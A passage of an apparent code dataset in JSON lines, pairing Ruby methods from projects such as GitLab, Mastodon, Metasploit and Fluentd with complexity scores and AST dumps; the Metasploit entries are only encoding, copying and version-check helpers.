corrector.replace(node, 'with_sidekiq_server_middleware')\n end\n end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"modifies_sidekiq_middleware?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"str\",\"children\":[\"with_sidekiq_server_middleware\"]}]}]}]}]}","id":"4ac5603c-8ecd-45ae-83c8-247a9267a54a"} {"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/users/import_data/exports.rb","start_line":64,"raw_source":"def restore_export_file(export_record, export_data)\n file_path = files_directory.join(export_data['file_name'])\n\n unless File.exist?(file_path)\n Rails.logger.warn \"Export file not found: #{export_data['file_name']}\"\n return false\n end\n\n begin\n export_record.file.attach(\n io: File.open(file_path),\n filename: export_data['original_filename'] || export_data['file_name'],\n content_type: export_data['content_type'] || 'application/octet-stream'\n )\n\n Rails.logger.debug \"Restored file for export: #{export_record.name}\"\n\n true\n rescue StandardError => e\n ExceptionReporter.call(e, \"Export file restoration failed\")\n\n false\n end\n end","complexity_score":28.9,"ast_json":"{\"type\":\"def\",\"children\":[\"restore_export_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"export_record\"]},{\"type\":\"arg\",\"children\":[\"export_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"files_directory\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"file_name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Export file not found: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"file_name\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export_record\"]},\"file\"]},\"attach\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"io\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"original_filename\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"file_name\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"content_type\"]}]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Restored file for export: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export_record\"]},\"name\"]}]}]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExceptionReporter\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"str\",\"children\":[\"Export file restoration failed\"]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}]}]}","id":"3d9c8de3-7683-4277-85c8-609dfadab457"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/patches/representable.rb","start_line":46,"raw_source":"def self.property(name, options = {}, &)\n # Note: `:writeable` is required by declarative gem\n options[:writeable] = options.delete :writable if options.has_key?(:writable)\n options = { as: as_strategy.call(name.to_s) }.merge(options) if as_strategy\n\n super\n end","complexity_score":13.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"property\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"has_key?\",{\"type\":\"sym\",\"children\":[\"writable\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"writeable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"writable\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"as_strategy\"]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"as_strategy\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"66f6bf4c-5ffd-40c5-9a2d-2a1555e3649b"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/authenticator.rb","start_line":100,"raw_source":"def encode_vno\n bn = OpenSSL::BN.new(vno.to_s)\n int = OpenSSL::ASN1::Integer.new(bn)\n\n int\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_vno\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bn\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"BN\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vno\"]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"int\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"Integer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"bn\"]}]}]},{\"type\":\"lvar\",\"children\":[\"int\"]}]}]}","id":"63ce9643-0449-40ed-a188-97f9c8962893"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module_data_store.rb","start_line":24,"raw_source":"def copy\n new_instance = self.class.new(@_module)\n new_instance.copy_state(self)\n new_instance\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"copy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_instance\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@_module\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_instance\"]},\"copy_state\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"new_instance\"]}]}]}","id":"70320d7a-64b4-44c6-95f6-dd4f8d1efd3c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/catalog/listing.rb","start_line":13,"raw_source":"def resources(sort: nil, search: nil, scope: :all, verification_level: nil, topics: nil)\n relation = Ci::Catalog::Resource.published.includes(:project)\n relation = by_scope(relation, scope)\n relation = by_search(relation, search)\n relation = by_verification_level(relation, verification_level)\n relation = by_topics(relation, topics)\n\n case sort.to_s\n when 'name_desc' then relation.order_by_name_desc\n when 'name_asc' then relation.order_by_name_asc\n when 'latest_released_at_desc' then relation.order_by_latest_released_at_desc\n when 'latest_released_at_asc' then relation.order_by_latest_released_at_asc\n when 'created_at_asc' then relation.order_by_created_at_asc\n when 'created_at_desc' then relation.order_by_created_at_desc\n when 'usage_count_asc' then relation.order_by_last_30_day_usage_count_asc\n when 'usage_count_desc' then relation.order_by_last_30_day_usage_count_desc\n when 'star_count_asc' then relation.order_by_star_count(:asc)\n else\n relation.order_by_star_count(:desc)\n end\n end","complexity_score":35.0,"ast_json":"{\"type\":\"def\",\"children\":[\"resources\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"sort\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"search\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"scope\",{\"type\":\"sym\",\"children\":[\"all\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"verification_level\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"topics\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Catalog\"]},\"Resource\"]},\"published\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"project\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[null,\"by_scope\",{\"type\":\"lvar\",\"children\":[\"relation\"]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[null,\"by_search\",{\"type\":\"lvar\",\"children\":[\"relation\"]},{\"type\":\"lvar\",\"children\":[\"search\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[null,\"by_verification_level\",{\"type\":\"lvar\",\"children\":[\"relation\"]},{\"type\":\"lvar\",\"children\":[\"verification_level\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[null,\"by_topics\",{\"type\":\"lvar\",\"children\":[\"relation\"]},{\"type\":\"lvar\",\"children\":[\"topics\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort\"]},\"to_s\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"name_desc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"order_by_name_desc\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"name_asc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"order_by_name_asc\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"latest_released_at_desc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"order_by_latest_released_at_desc\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"latest_released_at_asc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"order_by_latest_released_at_asc\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"created_at_asc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"order_by_created_at_asc\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"created_at_desc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"order_by_created_at_desc\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"usage_count_asc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"order_by_last_30_day_usage_count_asc\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"usage_count_desc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"order_by_last_30_day_usage_count_desc\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"star_count_asc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"order_by_star_count\",{\"type\":\"sym\",\"children\":[\"asc\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"order_by_star_count\",{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]}]}","id":"7716a231-05ac-45e7-b6f5-876f7a203da0"} {"repo_name":"forem","file_path":"./repos/forem/app/models/reaction.rb","start_line":246,"raw_source":"def should_notify?\n ReactionCategory.notifiable.include?(category.to_sym)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"should_notify?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReactionCategory\"]},\"notifiable\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"category\"]},\"to_sym\"]}]}]}","id":"3c6aa099-a18c-42df-b9f1-ee791f55c830"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/emails_helper.rb","start_line":646,"raw_source":"def notification_reason_text_without_links(reason:, format:)\n case reason\n when NotificationReason::OWN_ACTIVITY\n _(\"You're receiving this email because of your activity on %{host}.\").html_safe % {\n host: gitlab_host_link(format)\n }\n when NotificationReason::ASSIGNED\n _(\"You're receiving this email because you have been assigned an item on %{host}.\").html_safe % {\n host: gitlab_host_link(format)\n }\n when NotificationReason::MENTIONED\n _(\"You're receiving this email because you have been mentioned on %{host}.\").html_safe % {\n host: gitlab_host_link(format)\n }\n else\n _(\"You're receiving this email because of your account on %{host}.\").html_safe % {\n host: gitlab_host_link(format)\n }\n end\n end","complexity_score":26.3,"ast_json":"{\"type\":\"def\",\"children\":[\"notification_reason_text_without_links\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"reason\"]},{\"type\":\"kwarg\",\"children\":[\"format\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reason\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationReason\"]},\"OWN_ACTIVITY\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"You're receiving this email because of your activity on %{host}.\"]}]},\"html_safe\"]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"gitlab_host_link\",{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationReason\"]},\"ASSIGNED\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"You're receiving this email because you have been assigned an item on %{host}.\"]}]},\"html_safe\"]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"gitlab_host_link\",{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationReason\"]},\"MENTIONED\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"You're receiving this email because you have been mentioned on %{host}.\"]}]},\"html_safe\"]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"gitlab_host_link\",{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"You're receiving this email because of your account on %{host}.\"]}]},\"html_safe\"]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"gitlab_host_link\",{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}]}]}]}]}","id":"ea620e81-9a95-4bd3-b7fb-2dbae397ac37"} {"repo_name":"mastodon","file_path":"./repos/mastodon/spec/lib/activitypub/activity/create_spec.rb","start_line":1311,"raw_source":"def build_object(options = {})\n {\n id: [ActivityPub::TagManager.instance.uri_for(sender), '#bar'].join,\n type: 'Note',\n content: 'Lorem ipsum',\n }.merge(options)\n end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build_object\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[null,\"sender\"]}]},{\"type\":\"str\",\"children\":[\"#bar\"]}]},\"join\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"Note\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"Lorem ipsum\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"8ed62369-79dd-481c-be26-44a8c1fa82e3"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb","start_line":49,"raw_source":"def check\n release_log_url = normalize_uri(wordpress_url_plugins, 'revslider', 'release_log.txt')\n check_version_from_custom_file(release_log_url, /^\\s*(?:version)\\s*(\\d{1,2}\\.\\d{1,2}(?:\\.\\d{1,2})?).*$/mi, '3.0.96')\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"release_log_url\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"wordpress_url_plugins\"]},{\"type\":\"str\",\"children\":[\"revslider\"]},{\"type\":\"str\",\"children\":[\"release_log.txt\"]}]}]},{\"type\":\"send\",\"children\":[null,\"check_version_from_custom_file\",{\"type\":\"lvar\",\"children\":[\"release_log_url\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\s*(?:version)\\\\s*(\\\\d{1,2}\\\\.\\\\d{1,2}(?:\\\\.\\\\d{1,2})?).*$\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"m\"]}]},{\"type\":\"str\",\"children\":[\"3.0.96\"]}]}]}]}","id":"a6ee4aad-a9e5-4e9b-8f56-cc7492ff2372"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/blob_helper.rb","start_line":129,"raw_source":"def ref_project\n @ref_project ||= @target_project || @project\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ref_project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ref_project\"]},{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@target_project\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}]}","id":"dbc3c361-57a9-43cb-98c1-e2e28ffadb65"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/status_reach_finder.rb","start_line":83,"raw_source":"def followers_inboxes\n scope = followers_scope\n inboxes_without_suspended_for(scope)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"followers_inboxes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[null,\"followers_scope\"]}]},{\"type\":\"send\",\"children\":[null,\"inboxes_without_suspended_for\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}]}","id":"abcdc831-2f5d-4675-aaad-434c0027e1e3"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/config/v1_parser.rb","start_line":150,"raw_source":"def eval_include(attrs, elems, uri)\n # replace space(s)(' ') with '+' to prevent invalid uri due to space(s).\n # See: https://github.com/fluent/fluentd/pull/2780#issuecomment-576081212\n u = URI.parse(uri.tr(' ', '+'))\n if u.scheme == 'file' || (!u.scheme.nil? && u.scheme.length == 1) || u.path == uri.tr(' ', '+') # file path\n # When the Windows absolute path then u.scheme.length == 1\n # e.g. C:\n path = URI.decode_www_form_component(u.path)\n if path[0] != ?/\n pattern = File.expand_path(\"#{@include_basepath}/#{path}\")\n else\n pattern = path\n end\n Dir.glob(pattern).sort.each { |entry|\n basepath = File.dirname(entry)\n fname = File.basename(entry)\n data = File.read(entry)\n data.force_encoding('UTF-8')\n ss = StringScanner.new(data)\n V1Parser.new(ss, basepath, fname, @eval_context).parse_element(true, nil, attrs, elems)\n }\n else\n require 'open-uri'\n basepath = '/'\n fname = path\n data = u.open { |f| f.read }\n data.force_encoding('UTF-8')\n ss = StringScanner.new(data)\n V1Parser.new(ss, basepath, fname, @eval_context).parse_element(true, nil, attrs, elems)\n end\n rescue SystemCallError => e\n cpe = ConfigParseError.new(\"include error #{uri} - #{e}\")\n cpe.set_backtrace(e.backtrace)\n raise cpe\n end","complexity_score":89.13,"ast_json":"{\"type\":\"def\",\"children\":[\"eval_include\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attrs\"]},{\"type\":\"arg\",\"children\":[\"elems\"]},{\"type\":\"arg\",\"children\":[\"uri\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"u\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"tr\",{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"str\",\"children\":[\"+\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"scheme\"]},\"==\",{\"type\":\"str\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"scheme\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"scheme\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"path\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"tr\",{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"str\",\"children\":[\"+\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"decode_www_form_component\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"!=\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pattern\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@include_basepath\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pattern\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"lvar\",\"children\":[\"pattern\"]}]},\"sort\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"basepath\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fname\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"force_encoding\",{\"type\":\"str\",\"children\":[\"UTF-8\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ss\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringScanner\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"V1Parser\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"ss\"]},{\"type\":\"lvar\",\"children\":[\"basepath\"]},{\"type\":\"lvar\",\"children\":[\"fname\"]},{\"type\":\"ivar\",\"children\":[\"@eval_context\"]}]},\"parse_element\",{\"type\":\"true\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"attrs\"]},{\"type\":\"lvar\",\"children\":[\"elems\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"open-uri\"]}]},{\"type\":\"lvasgn\",\"children\":[\"basepath\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fname\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"block\",\"children\":[{\